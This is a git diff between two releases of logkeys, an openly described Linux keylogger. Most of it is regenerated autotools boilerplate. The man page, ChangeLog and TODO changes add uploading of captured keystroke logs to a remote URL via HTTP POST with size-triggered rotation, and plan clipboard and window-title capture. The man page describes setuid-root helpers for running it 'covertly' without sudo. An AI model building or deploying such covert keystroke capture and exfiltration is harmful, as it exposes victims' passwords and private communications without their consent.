diff --git a/COPYING b/COPYING index fe2557d..50b5b90 100644 --- a/COPYING +++ b/COPYING @@ -13,3 +13,7 @@ 0. You just DO WHAT THE FUCK YOU WANT TO. + +===================================================================== +If above license terms aren't acceptable to you, consider the project +licensed under GNU GPLv3+. diff --git a/ChangeLog b/ChangeLog index 9a975d5..db7193b 100644 --- a/ChangeLog +++ b/ChangeLog @@ -1,4 +1,4 @@ -v0.1.1 (?) +v0.1.1a (2010-05-31) * fixed 100% CPU issue on x64 * various other bug fixes * removed pgrep dependency @@ -6,6 +6,7 @@ v0.1.1 (?) * symlink attack vulnerability fixes * other security fixes * code refactoring + * remote log uploading via HTTP * bug fixes v0.1.0 (2010-01-05) diff --git a/Makefile.in b/Makefile.in index 06706c9..b2de979 100644 --- a/Makefile.in +++ b/Makefile.in @@ -1,4 +1,4 @@ -# Makefile.in generated by automake 1.11 from Makefile.am. +# Makefile.in generated by automake 1.11.1 from Makefile.am. # @configure_input@ # Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, @@ -255,7 +255,7 @@ distclean-hdr: # (which will cause the Makefiles to be regenerated when you run `make'); # (2) otherwise, pass the desired values on the `make' command line. $(RECURSIVE_TARGETS): - @failcom='exit 1'; \ + @fail= failcom='exit 1'; \ for f in x $$MAKEFLAGS; do \ case $$f in \ *=* | --[!k]*);; \ @@ -280,7 +280,7 @@ $(RECURSIVE_TARGETS): fi; test -z "$$fail" $(RECURSIVE_CLEAN_TARGETS): - @failcom='exit 1'; \ + @fail= failcom='exit 1'; \ for f in x $$MAKEFLAGS; do \ case $$f in \ *=* | --[!k]*);; \ @@ -444,7 +444,8 @@ distdir: $(DISTFILES) fi; \ done -test -n "$(am__skip_mode_fix)" \ - || find "$(distdir)" -type d ! -perm -777 -exec chmod a+rwx {} \; -o \ + || find "$(distdir)" -type d ! -perm -755 \ + -exec chmod u+rwx,go+rx {} \; -o \ ! -type d ! -perm -444 -links 1 -exec chmod a+r {} \; -o \ ! -type d ! -perm -400 -exec chmod a+r {} \; -o \ ! -type d ! -perm -444 -exec $(install_sh) -c -m a+r {} {} \; \ @@ -488,17 +489,17 @@ dist dist-all: distdir distcheck: dist case '$(DIST_ARCHIVES)' in \ *.tar.gz*) \ - GZIP=$(GZIP_ENV) gunzip -c $(distdir).tar.gz | $(am__untar) ;;\ + GZIP=$(GZIP_ENV) gzip -dc $(distdir).tar.gz | $(am__untar) ;;\ *.tar.bz2*) \ - bunzip2 -c $(distdir).tar.bz2 | $(am__untar) ;;\ + bzip2 -dc $(distdir).tar.bz2 | $(am__untar) ;;\ *.tar.lzma*) \ - unlzma -c $(distdir).tar.lzma | $(am__untar) ;;\ + lzma -dc $(distdir).tar.lzma | $(am__untar) ;;\ *.tar.xz*) \ xz -dc $(distdir).tar.xz | $(am__untar) ;;\ *.tar.Z*) \ uncompress -c $(distdir).tar.Z | $(am__untar) ;;\ *.shar.gz*) \ - GZIP=$(GZIP_ENV) gunzip -c $(distdir).shar.gz | unshar ;;\ + GZIP=$(GZIP_ENV) gzip -dc $(distdir).shar.gz | unshar ;;\ *.zip*) \ unzip $(distdir).zip ;;\ esac diff --git a/TODO b/TODO index cd6985c..0694548 100644 --- a/TODO +++ b/TODO @@ -1,6 +1,8 @@ --> Add support for sending logs via mail or POSTing them to remote server. +-> Add support for sending logs via mail or POSTing them to remote server -> Also log title of the focused window --> Add support for mouse events (i.e. on mouse click the focus may have changed). +-> Extract clipboard contents + +-> Add support for mouse events (i.e. on mouse click the focus may have changed) diff --git a/aclocal.m4 b/aclocal.m4 index 9e6e22d..e9b7b28 100644 --- a/aclocal.m4 +++ b/aclocal.m4 @@ -1,4 +1,4 @@ -# generated automatically by aclocal 1.11 -*- Autoconf -*- +# generated automatically by aclocal 1.11.1 -*- Autoconf -*- # Copyright (C) 1996, 1997, 1998, 1999, 2000, 2001, 2002, 2003, 2004, # 2005, 2006, 2007, 2008, 2009 Free Software Foundation, Inc. @@ -13,8 +13,8 @@ m4_ifndef([AC_AUTOCONF_VERSION], [m4_copy([m4_PACKAGE_VERSION], [AC_AUTOCONF_VERSION])])dnl -m4_if(m4_defn([AC_AUTOCONF_VERSION]), [2.64],, -[m4_warning([this file was generated for autoconf 2.64. +m4_if(m4_defn([AC_AUTOCONF_VERSION]), [2.65],, +[m4_warning([this file was generated for autoconf 2.65. You have another version of autoconf. It may work, but is not guaranteed to. If you have problems, you may need to regenerate the build system entirely. To do so, use the procedure documented by the package, typically `autoreconf'.])]) @@ -34,7 +34,7 @@ AC_DEFUN([AM_AUTOMAKE_VERSION], [am__api_version='1.11' dnl Some users find AM_AUTOMAKE_VERSION and mistake it for a way to dnl require some minimum version. Point them to the right macro. -m4_if([$1], [1.11], [], +m4_if([$1], [1.11.1], [], [AC_FATAL([Do not call $0, use AM_INIT_AUTOMAKE([$1]).])])dnl ]) @@ -50,7 +50,7 @@ m4_define([_AM_AUTOCONF_VERSION], []) # Call AM_AUTOMAKE_VERSION and AM_AUTOMAKE_VERSION so they can be traced. # This function is AC_REQUIREd by AM_INIT_AUTOMAKE. AC_DEFUN([AM_SET_CURRENT_AUTOMAKE_VERSION], -[AM_AUTOMAKE_VERSION([1.11])dnl +[AM_AUTOMAKE_VERSION([1.11.1])dnl m4_ifndef([AC_AUTOCONF_VERSION], [m4_copy([m4_PACKAGE_VERSION], [AC_AUTOCONF_VERSION])])dnl _AM_AUTOCONF_VERSION(m4_defn([AC_AUTOCONF_VERSION]))]) diff --git a/configure b/configure index 7aef764..0902fcf 100755 --- a/configure +++ b/configure @@ -1,12 +1,14 @@ #! /bin/sh # Guess values for system-dependent variables and create Makefiles. -# Generated by GNU Autoconf 2.64 for logkeys 0.1.0. +# Generated by GNU Autoconf 2.65 for logkeys 0.1.1a. # # Report bugs to . # +# # Copyright (C) 1992, 1993, 1994, 1995, 1996, 1998, 1999, 2000, 2001, -# 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009 Free Software -# Foundation, Inc. +# 2002, 2003, 2004, 2005, 2006, 2007, 2008, 2009 Free Software Foundation, +# Inc. +# # # This configure script is free software; the Free Software Foundation # gives unlimited permission to copy, distribute and modify it. @@ -527,7 +529,8 @@ as_tr_cpp="eval sed 'y%*$as_cr_letters%P$as_cr_LETTERS%;s%[^_$as_cr_alnum]%_%g'" as_tr_sh="eval sed 'y%*+%pp%;s%[^_$as_cr_alnum]%_%g'" -exec 7<&0 &1 +test -n "$DJDIR" || exec 7<&0 &1 # Name of the host. # hostname on some systems (SVR3.2, Linux) returns a bogus exit status, @@ -549,8 +552,8 @@ MAKEFLAGS= # Identity of this package. PACKAGE_NAME='logkeys' PACKAGE_TARNAME='logkeys' -PACKAGE_VERSION='0.1.0' -PACKAGE_STRING='logkeys 0.1.0' +PACKAGE_VERSION='0.1.1a' +PACKAGE_STRING='logkeys 0.1.1a' PACKAGE_BUGREPORT='kerncece+logkeys@gmail.com' PACKAGE_URL='http://code.google.com/p/logkeys/' @@ -1235,7 +1238,7 @@ if test "$ac_init_help" = "long"; then # Omit some internal or obsolete options to make the list less imposing. # This message is too long to be a string in the A/UX 3.1 sh. cat <<_ACEOF -\`configure' configures logkeys 0.1.0 to adapt to many kinds of systems. +\`configure' configures logkeys 0.1.1a to adapt to many kinds of systems. Usage: $0 [OPTION]... [VAR=VALUE]... @@ -1301,7 +1304,7 @@ fi if test -n "$ac_init_help"; then case $ac_init_help in - short | recursive ) echo "Configuration of logkeys 0.1.0:";; + short | recursive ) echo "Configuration of logkeys 0.1.1a:";; esac cat <<\_ACEOF @@ -1318,7 +1321,7 @@ Some influential environment variables: LDFLAGS linker flags, e.g. -L if you have libraries in a nonstandard directory LIBS libraries to pass to the linker, e.g. -l - CPPFLAGS C/C++/Objective C preprocessor flags, e.g. -I if + CPPFLAGS (Objective) C/C++ preprocessor flags, e.g. -I if you have headers in a nonstandard directory CXXCPP C++ preprocessor @@ -1389,8 +1392,8 @@ fi test -n "$ac_init_help" && exit $ac_status if $ac_init_version; then cat <<\_ACEOF -logkeys configure 0.1.0 -generated by GNU Autoconf 2.64 +logkeys configure 0.1.1a +generated by GNU Autoconf 2.65 Copyright (C) 2009 Free Software Foundation, Inc. This configure script is free software; the Free Software Foundation @@ -1437,7 +1440,7 @@ sed 's/^/| /' conftest.$ac_ext >&5 ac_retval=1 fi eval $as_lineno_stack; test "x$as_lineno_stack" = x && { as_lineno=; unset as_lineno;} - return $ac_retval + as_fn_set_status $ac_retval } # ac_fn_cxx_try_compile @@ -1474,7 +1477,7 @@ sed 's/^/| /' conftest.$ac_ext >&5 ac_retval=1 fi eval $as_lineno_stack; test "x$as_lineno_stack" = x && { as_lineno=; unset as_lineno;} - return $ac_retval + as_fn_set_status $ac_retval } # ac_fn_cxx_try_cpp @@ -1609,7 +1612,7 @@ sed 's/^/| /' conftest.$ac_ext >&5 fi rm -rf conftest.dSYM conftest_ipa8_conftest.oo eval $as_lineno_stack; test "x$as_lineno_stack" = x && { as_lineno=; unset as_lineno;} - return $ac_retval + as_fn_set_status $ac_retval } # ac_fn_cxx_try_run @@ -1740,7 +1743,7 @@ fi # left behind by Apple's compiler. We do this before executing the actions. rm -rf conftest.dSYM conftest_ipa8_conftest.oo eval $as_lineno_stack; test "x$as_lineno_stack" = x && { as_lineno=; unset as_lineno;} - return $ac_retval + as_fn_set_status $ac_retval } # ac_fn_cxx_try_link @@ -1814,8 +1817,8 @@ cat >config.log <<_ACEOF This file contains any messages produced by compilers while running configure, to aid debugging if configure makes a mistake. -It was created by logkeys $as_me 0.1.0, which was -generated by GNU Autoconf 2.64. Invocation command line was +It was created by logkeys $as_me 0.1.1a, which was +generated by GNU Autoconf 2.65. Invocation command line was $ $0 $@ @@ -2068,7 +2071,7 @@ fi for ac_site_file in "$ac_site_file1" "$ac_site_file2" do test "x$ac_site_file" = xNONE && continue - if test -r "$ac_site_file"; then + if test /dev/null != "$ac_site_file" && test -r "$ac_site_file"; then { $as_echo "$as_me:${as_lineno-$LINENO}: loading site script $ac_site_file" >&5 $as_echo "$as_me: loading site script $ac_site_file" >&6;} sed 's/^/| /' "$ac_site_file" >&5 @@ -2077,9 +2080,9 @@ $as_echo "$as_me: loading site script $ac_site_file" >&6;} done if test -r "$cache_file"; then - # Some versions of bash will fail to source /dev/null (special - # files actually), so we avoid doing that. - if test -f "$cache_file"; then + # Some versions of bash will fail to source /dev/null (special files + # actually), so we avoid doing that. DJGPP emulates it as a regular file. + if test /dev/null != "$cache_file" && test -f "$cache_file"; then { $as_echo "$as_me:${as_lineno-$LINENO}: loading cache $cache_file" >&5 $as_echo "$as_me: loading cache $cache_file" >&6;} case $cache_file in @@ -2499,6 +2502,7 @@ IFS=$as_save_IFS fi + test -d ./--version && rmdir ./--version if test "${ac_cv_path_mkdir+set}" = set; then MKDIR_P="$ac_cv_path_mkdir -p" else @@ -2506,7 +2510,6 @@ fi # value for MKDIR_P within a source directory, because that will # break other packages using the cache if that directory is # removed, or if the value is a relative name. - test -d ./--version && rmdir ./--version MKDIR_P="$ac_install_sh -d" fi fi @@ -2623,7 +2626,7 @@ fi # Define the identity of the package. PACKAGE='logkeys' - VERSION='0.1.0' + VERSION='0.1.1a' cat >>confdefs.h <<_ACEOF @@ -2798,32 +2801,30 @@ $as_echo "$ac_try_echo"; } >&5 ... rest of stderr output deleted ... 10q' conftest.err >conftest.er1 cat conftest.er1 >&5 - rm -f conftest.er1 conftest.err fi + rm -f conftest.er1 conftest.err $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 test $ac_status = 0; } done cat confdefs.h - <<_ACEOF >conftest.$ac_ext /* end confdefs.h. */ -#include + int main () { -FILE *f = fopen ("conftest.out", "w"); - return ferror (f) || fclose (f) != 0; ; return 0; } _ACEOF ac_clean_files_save=$ac_clean_files -ac_clean_files="$ac_clean_files a.out a.out.dSYM a.exe b.out conftest.out" +ac_clean_files="$ac_clean_files a.out a.out.dSYM a.exe b.out" # Try to create an executable without -o first, disregard a.out. # It will help us diagnose broken compilers, and finding out an intuition # of exeext. -{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for C++ compiler default output file name" >&5 -$as_echo_n "checking for C++ compiler default output file name... " >&6; } +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the C++ compiler works" >&5 +$as_echo_n "checking whether the C++ compiler works... " >&6; } ac_link_default=`$as_echo "$ac_link" | sed 's/ -o *conftest[^ ]*//'` # The possible output files: @@ -2885,10 +2886,10 @@ test "$ac_cv_exeext" = no && ac_cv_exeext= else ac_file='' fi -{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_file" >&5 -$as_echo "$ac_file" >&6; } if test -z "$ac_file"; then : - $as_echo "$as_me: failed program was:" >&5 + { $as_echo "$as_me:${as_lineno-$LINENO}: result: no" >&5 +$as_echo "no" >&6; } +$as_echo "$as_me: failed program was:" >&5 sed 's/^/| /' conftest.$ac_ext >&5 { { $as_echo "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5 @@ -2896,51 +2897,18 @@ $as_echo "$as_me: error: in \`$ac_pwd':" >&2;} { as_fn_set_status 77 as_fn_error "C++ compiler cannot create executables See \`config.log' for more details." "$LINENO" 5; }; } +else + { $as_echo "$as_me:${as_lineno-$LINENO}: result: yes" >&5 +$as_echo "yes" >&6; } fi +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking for C++ compiler default output file name" >&5 +$as_echo_n "checking for C++ compiler default output file name... " >&6; } +{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_file" >&5 +$as_echo "$ac_file" >&6; } ac_exeext=$ac_cv_exeext -# Check that the compiler produces executables we can run. If not, either -# the compiler is broken, or we cross compile. -{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether the C++ compiler works" >&5 -$as_echo_n "checking whether the C++ compiler works... " >&6; } -# If not cross compiling, check that we can run a simple program. -if test "$cross_compiling" != yes; then - if { ac_try='./$ac_file' - { { case "(($ac_try" in - *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; - *) ac_try_echo=$ac_try;; -esac -eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" -$as_echo "$ac_try_echo"; } >&5 - (eval "$ac_try") 2>&5 - ac_status=$? - $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 - test $ac_status = 0; }; }; then - cross_compiling=no - else - if test "$cross_compiling" = maybe; then - cross_compiling=yes - else - { { $as_echo "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5 -$as_echo "$as_me: error: in \`$ac_pwd':" >&2;} -as_fn_error "cannot run C++ compiled programs. -If you meant to cross compile, use \`--host'. -See \`config.log' for more details." "$LINENO" 5; } - fi - fi -fi -{ $as_echo "$as_me:${as_lineno-$LINENO}: result: yes" >&5 -$as_echo "yes" >&6; } - -rm -f -r a.out a.out.dSYM a.exe conftest$ac_cv_exeext b.out conftest.out +rm -f -r a.out a.out.dSYM a.exe conftest$ac_cv_exeext b.out ac_clean_files=$ac_clean_files_save -# Check that the compiler produces executables we can run. If not, either -# the compiler is broken, or we cross compile. -{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether we are cross compiling" >&5 -$as_echo_n "checking whether we are cross compiling... " >&6; } -{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $cross_compiling" >&5 -$as_echo "$cross_compiling" >&6; } - { $as_echo "$as_me:${as_lineno-$LINENO}: checking for suffix of executables" >&5 $as_echo_n "checking for suffix of executables... " >&6; } if { { ac_try="$ac_link" @@ -2973,13 +2941,72 @@ $as_echo "$as_me: error: in \`$ac_pwd':" >&2;} as_fn_error "cannot compute suffix of executables: cannot compile and link See \`config.log' for more details." "$LINENO" 5; } fi -rm -f conftest$ac_cv_exeext +rm -f conftest conftest$ac_cv_exeext { $as_echo "$as_me:${as_lineno-$LINENO}: result: $ac_cv_exeext" >&5 $as_echo "$ac_cv_exeext" >&6; } rm -f conftest.$ac_ext EXEEXT=$ac_cv_exeext ac_exeext=$EXEEXT +cat confdefs.h - <<_ACEOF >conftest.$ac_ext +/* end confdefs.h. */ +#include +int +main () +{ +FILE *f = fopen ("conftest.out", "w"); + return ferror (f) || fclose (f) != 0; + + ; + return 0; +} +_ACEOF +ac_clean_files="$ac_clean_files conftest.out" +# Check that the compiler produces executables we can run. If not, either +# the compiler is broken, or we cross compile. +{ $as_echo "$as_me:${as_lineno-$LINENO}: checking whether we are cross compiling" >&5 +$as_echo_n "checking whether we are cross compiling... " >&6; } +if test "$cross_compiling" != yes; then + { { ac_try="$ac_link" +case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" +$as_echo "$ac_try_echo"; } >&5 + (eval "$ac_link") 2>&5 + ac_status=$? + $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 + test $ac_status = 0; } + if { ac_try='./conftest$ac_cv_exeext' + { { case "(($ac_try" in + *\"* | *\`* | *\\*) ac_try_echo=\$ac_try;; + *) ac_try_echo=$ac_try;; +esac +eval ac_try_echo="\"\$as_me:${as_lineno-$LINENO}: $ac_try_echo\"" +$as_echo "$ac_try_echo"; } >&5 + (eval "$ac_try") 2>&5 + ac_status=$? + $as_echo "$as_me:${as_lineno-$LINENO}: \$? = $ac_status" >&5 + test $ac_status = 0; }; }; then + cross_compiling=no + else + if test "$cross_compiling" = maybe; then + cross_compiling=yes + else + { { $as_echo "$as_me:${as_lineno-$LINENO}: error: in \`$ac_pwd':" >&5 +$as_echo "$as_me: error: in \`$ac_pwd':" >&2;} +as_fn_error "cannot run C++ compiled programs. +If you meant to cross compile, use \`--host'. +See \`config.log' for more details." "$LINENO" 5; } + fi + fi +fi +{ $as_echo "$as_me:${as_lineno-$LINENO}: result: $cross_compiling" >&5 +$as_echo "$cross_compiling" >&6; } + +rm -f conftest.$ac_ext conftest$ac_cv_exeext conftest.out +ac_clean_files=$ac_clean_files_save { $as_echo "$as_me:${as_lineno-$LINENO}: checking for suffix of object files" >&5 $as_echo_n "checking for suffix of object files... " >&6; } if test "${ac_cv_objext+set}" = set; then : @@ -4995,8 +5022,8 @@ cat >>$CONFIG_STATUS <<\_ACEOF || ac_write_fail=1 # report actual input values of CONFIG_FILES etc. instead of their # values after options handling. ac_log=" -This file was extended by logkeys $as_me 0.1.0, which was -generated by GNU Autoconf 2.64. Invocation command line was +This file was extended by logkeys $as_me 0.1.1a, which was +generated by GNU Autoconf 2.65. Invocation command line was CONFIG_FILES = $CONFIG_FILES CONFIG_HEADERS = $CONFIG_HEADERS @@ -5036,6 +5063,7 @@ Usage: $0 [OPTION]... [TAG]... -h, --help print this help, then exit -V, --version print version number and configuration settings, then exit + --config print configuration, then exit -q, --quiet, --silent do not print progress messages -d, --debug don't remove temporary files @@ -5059,10 +5087,11 @@ logkeys home page: ." _ACEOF cat >>$CONFIG_STATUS <<_ACEOF || ac_write_fail=1 +ac_cs_config="`$as_echo "$ac_configure_args" | sed 's/^ //; s/[\\""\`\$]/\\\\&/g'`" ac_cs_version="\\ -logkeys config.status 0.1.0 -configured by $0, generated by GNU Autoconf 2.64, - with options \\"`$as_echo "$ac_configure_args" | sed 's/^ //; s/[\\""\`\$]/\\\\&/g'`\\" +logkeys config.status 0.1.1a +configured by $0, generated by GNU Autoconf 2.65, + with options \\"\$ac_cs_config\\" Copyright (C) 2009 Free Software Foundation, Inc. This config.status script is free software; the Free Software Foundation @@ -5100,6 +5129,8 @@ do ac_cs_recheck=: ;; --version | --versio | --versi | --vers | --ver | --ve | --v | -V ) $as_echo "$ac_cs_version"; exit ;; + --config | --confi | --conf | --con | --co | --c ) + $as_echo "$ac_cs_config"; exit ;; --debug | --debu | --deb | --de | --d | -d ) debug=: ;; --file | --fil | --fi | --f ) @@ -5290,7 +5321,7 @@ s/'"$ac_delim"'$// t delim :nl h -s/\(.\{148\}\).*/\1/ +s/\(.\{148\}\)..*/\1/ t more1 s/["\\]/\\&/g; s/^/"/; s/$/\\n"\\/ p @@ -5304,7 +5335,7 @@ s/.\{148\}// t nl :delim h -s/\(.\{148\}\).*/\1/ +s/\(.\{148\}\)..*/\1/ t more2 s/["\\]/\\&/g; s/^/"/; s/$/"/ p diff --git a/configure.ac b/configure.ac index 50ce9f7..476132c 100644 --- a/configure.ac +++ b/configure.ac @@ -2,7 +2,7 @@ # Process this file with autoconf to produce a configure script. AC_PREREQ(2.64) -AC_INIT([logkeys],[0.1.0],[kerncece+logkeys@gmail.com],[],[http://code.google.com/p/logkeys/]) +AC_INIT([logkeys],[0.1.1a],[kerncece+logkeys@gmail.com],[],[http://code.google.com/p/logkeys/]) AC_CONFIG_SRCDIR([src/logkeys.cc]) AM_INIT_AUTOMAKE([-Wall foreign]) AC_CONFIG_HEADERS([config.h]) diff --git a/man/Makefile.in b/man/Makefile.in index 7ac8fe1..5a1f917 100644 --- a/man/Makefile.in +++ b/man/Makefile.in @@ -1,4 +1,4 @@ -# Makefile.in generated by automake 1.11 from Makefile.am. +# Makefile.in generated by automake 1.11.1 from Makefile.am. # @configure_input@ # Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, diff --git a/man/logkeys.8 b/man/logkeys.8 index 9cfe336..ccbefc8 100644 --- a/man/logkeys.8 +++ b/man/logkeys.8 @@ -1,15 +1,18 @@ -.TH logkeys 8 2009-12-13 +.TH logkeys 8 2010-05-25 .SH NAME logkeys \- a GNU/Linux keylogger that works! .SH SYNOPSIS -.B logkeys -\fB-s\fR [\fB-m \fIkeymap\fR|\fB-u\fR] [\fB-o \fIlogfile\fR] [\fB-d \fIdevice\fR] [\fB--no-func-keys\fR] +.B logkeys \fB-s\fR [\fB-m \fIkeymap\fR|\fB-u\fR] [\fB-o \fIlogfile\fR] [\fB-d \fIdevice\fR] .br -.B logkeys -\fB-k\fR + [\fB--no-func-keys\fR] [\fB--no-timestamps\fR] .br -.B logkeys -[\fB--export-keymap=\fIkeymap\fR] + [\fB--post-size=\fISIZE\fR] [\fB--post-http=\fIURL\fR] +.br +.B logkeys \fB-k\fR +.br +.B logkeys [\fB--export-keymap=\fIkeymap\fR] + + .SH DESCRIPTION logkeys is a linux keylogger. It is no more advanced than other available linux keyloggers, notably \fBlkl\fR and \fBuberkey\fR, but is a bit newer, more up to date, it @@ -27,14 +30,19 @@ Two helper \fBsetuid root\fR programs are shipped with logkeys. \fIllk\fR, which Because llk and llkk are installed setuid root, you can edit the two .sh scripts (mostly just logkeys-start.sh) to your preference, then issue logkeys via llk whenever you have to run it covertly (e.g. when you don't want to su to root or type sudo password). + + .SH OPTIONS Non-optional arguments are required for short options too. + .TP \fB-s\fR, \fB-\-start\fR Starts the keylogging daemon process. + .TP \fB-k\fR, \fB-\-kill\fR Terminates the running logkeys process. + .TP \fB-o\fR, \fB-\-output\fR=\fIlogfile\fR Set ouput log file to \fIlogfile\fR. If no \fB-o\fR option is provided, logkeys @@ -42,6 +50,7 @@ appends to \fI/var/log/logkeys.log\fR file. If \fIlogfile\fR doesn't exist, logk creates the file with 600 permissions. .IP See also \fBLOGFILE FORMAT\fR section. + .TP \fB-m\fR, \fB-\-keymap\fR=\fIkeymap\fR Use file \fIkeymap\fR as input keymap for processing pressed keys. @@ -52,16 +61,19 @@ previously exported by \fB--export-keymap\fR. See also \fBKEYMAP FORMAT\fR section. .IP \fB-m\fR and \fB-u\fR option are mutually exclusive. + .TP \fB-d\fR, \fB-\-device\fR=\fIdevice\fR Use \fIdevice\fR as keyboard input event device instead of \fI/dev/input/eventX\fR default. .IP You can determine the keyboard device to be used by examining \fI/proc/bus/input/devices\fR. + .TP \fB-u\fR, \fB-\-us-keymap\fR This option makes logkeys interpret keys as on standard US keyboard. .IP \fB-u\fR and \fB-m\fR option are mutually exclusive. + .TP \fB-\-export-keymap\fR=\fIkeymap\fR This option makes logkeys export dynamic keymap as obtained from \fIdumpkeys\fR(1) @@ -75,6 +87,7 @@ as complete deficient entries. It is also advised that you use \fB-\-export-keym on a virtual terminal outside of X (\fI/dev/ttyX\fR). .IP See section \fBKEYMAP FORMAT\fR for exported keymap format. + .TP \fB-\-no-func-keys\fR This option makes logkeys log all and only character key presses @@ -83,10 +96,42 @@ This option makes logkeys log all and only character key presses This option may be useful when correct \fIkeymap\fR can reliably be expected (i.e. by providing it with \fB-m\fR option). Then only character keys are logged, influenced by Shift and AltGr modifiers. + +.TP +\fB-\-no-timestamps\fR +When this option is set, logkeys doesn't prepend timestamp to each line of log file. +Timestamps are only logged when logkeys starts and stops. + +.TP +\fB-\-post-size=\fISIZE\fR +When log size reaches \fISIZE\fR, the current log filename is appended \fI.X\fR, +where X is ascending number (e.g. \fIlogfile.1\fR). +.IP +When that happens, logkeys starts remote uploading process and all \fIlogfile.X\fR +files are uploaded as specified by \fB--post-http\fR or \fB--post-irc\fR options. +.IP +If \fB--post-size\fR is set, but no post method is set (i.e. neither \fB--post-http\fR +nor \fB--post-irc\fR), then the logfile is only truncated when it reaches +\fISIZE\fR, renamed to \fIlogfile.X\fR, and a new blank logfile is created for +active logging. +.IP +\fISIZE\fR can be an integer bytesize, or an intger followed by K or M for kilobytes +or megabytes, respectively. + +.TP +\fB-\-post-http=\fIURL\fR +This option tells logkeys to POST the log file to URL, where it is preferrably greeted +by a (PHP) script. +.IP +The file is sent with header \fIContent-Type: multipart/form-data\fR as file, so it +is accessible in PHP via $_FILES variable. + .SH FILES .TP \fB/var/log/logkeys.log\fR When \fB-o\fR option is not used, logkeys appends to default log file. + + .SH "LOGFILE FORMAT" Log files are \fBUTF-8 encoded\fR. .PP @@ -149,6 +194,8 @@ Logging stopped at 2009-12-11 09:58:54+0100 .PP Even when \fB-\-no-func-keys\fR is in effect, Space and Tab key presses are logged as a single space character. + + .SH "KEYMAP FORMAT" The keymap file is expected to be \fBUTF-8 encoded\fR. .PP @@ -188,6 +235,8 @@ left-to-right. .PP If you create full and completely valid keymap for your particular language, please upload it to project website or send it to me by e-mail. Thanks. + + .SH EXAMPLES To print short help: .IP @@ -211,8 +260,6 @@ $ logkeys --start --keymap my_keymap .PP To use a custom event device (e.g. /dev/input/event4): .IP -$ logkeys --start --device /dev/input/event4 # or just -.br $ logkeys --start --device event4 .PP To end running logkeys process: @@ -221,6 +268,8 @@ $ logkeys --kill .PP After \fIetc/logkeys-start.sh\fR is updated to one's liking, helper programs \fIbin/llk\fR (start) and \fIbin/llkk\fR (kill) can be used as well. + + .SH BUGS logkeys relies on numeric output of \fIdumpkeys\fR(1), which \fIkeymaps\fR(5) manual page specifically discourages as unportable. @@ -229,10 +278,10 @@ Be nice and hope nothing breaks. .PP If you come across any bugs, please report them on project website, issues page: .IP -http://code.google.com/p/logkeys/issues +http://code.google.com/p/logkeys/issues/ .SH AUTHOR .PP -logkeys was written by Kernc . +logkeys was written by Kernc with much help from the community. .PP You can always obtain the latest version and information at project website: . diff --git a/scripts/Makefile.am b/scripts/Makefile.am index fe68f16..89e8142 100644 --- a/scripts/Makefile.am +++ b/scripts/Makefile.am @@ -1,3 +1,2 @@ -#myconfdir=$(prefix)/etc myconfdir=$(sysconfdir) myconf_SCRIPTS = logkeys-start.sh logkeys-kill.sh diff --git a/scripts/Makefile.in b/scripts/Makefile.in index 00252d4..5266ef2 100644 --- a/scripts/Makefile.in +++ b/scripts/Makefile.in @@ -1,4 +1,4 @@ -# Makefile.in generated by automake 1.11 from Makefile.am. +# Makefile.in generated by automake 1.11.1 from Makefile.am. # @configure_input@ # Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, @@ -158,8 +158,6 @@ target_alias = @target_alias@ top_build_prefix = @top_build_prefix@ top_builddir = @top_builddir@ top_srcdir = @top_srcdir@ - -#myconfdir=$(prefix)/etc myconfdir = $(sysconfdir) myconf_SCRIPTS = logkeys-start.sh logkeys-kill.sh all: all-am diff --git a/src/Makefile.am b/src/Makefile.am index 5ec2250..945a904 100644 --- a/src/Makefile.am +++ b/src/Makefile.am @@ -6,8 +6,8 @@ llk_SOURCES = llk.cc llkk_SOURCES = llkk.cc install-exec-hook: - chown root\: $(bindir)/llk - chmod u+s $(bindir)/llk - chown root\: $(bindir)/llkk - chmod u+s $(bindir)/llkk + chown root\: $(DESTDIR)$(bindir)/llk + chmod u+s $(DESTDIR)$(bindir)/llk + chown root\: $(DESTDIR)$(bindir)/llkk + chmod u+s $(DESTDIR)$(bindir)/llkk \ No newline at end of file diff --git a/src/Makefile.in b/src/Makefile.in index 768da2a..9ce4333 100644 --- a/src/Makefile.in +++ b/src/Makefile.in @@ -1,4 +1,4 @@ -# Makefile.in generated by automake 1.11 from Makefile.am. +# Makefile.in generated by automake 1.11.1 from Makefile.am. # @configure_input@ # Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, @@ -467,10 +467,10 @@ uninstall-am: uninstall-binPROGRAMS install-exec-hook: - chown root\: $(bindir)/llk - chmod u+s $(bindir)/llk - chown root\: $(bindir)/llkk - chmod u+s $(bindir)/llkk + chown root\: $(DESTDIR)$(bindir)/llk + chmod u+s $(DESTDIR)$(bindir)/llk + chown root\: $(DESTDIR)$(bindir)/llkk + chmod u+s $(DESTDIR)$(bindir)/llkk # Tell versions [3.59,3.63) of GNU make to not export all variables. # Otherwise a system limit (for SysV at least) may be exceeded. diff --git a/src/args.cc b/src/args.cc new file mode 100644 index 0000000..cdb8d26 --- /dev/null +++ b/src/args.cc @@ -0,0 +1,118 @@ +/* + Copyleft (ɔ) 2009 Kernc + This program is free software. It comes with absolutely no warranty whatsoever. + See COPYING for further information. + + Project homepage: http://code.google.com/p/logkeys/ 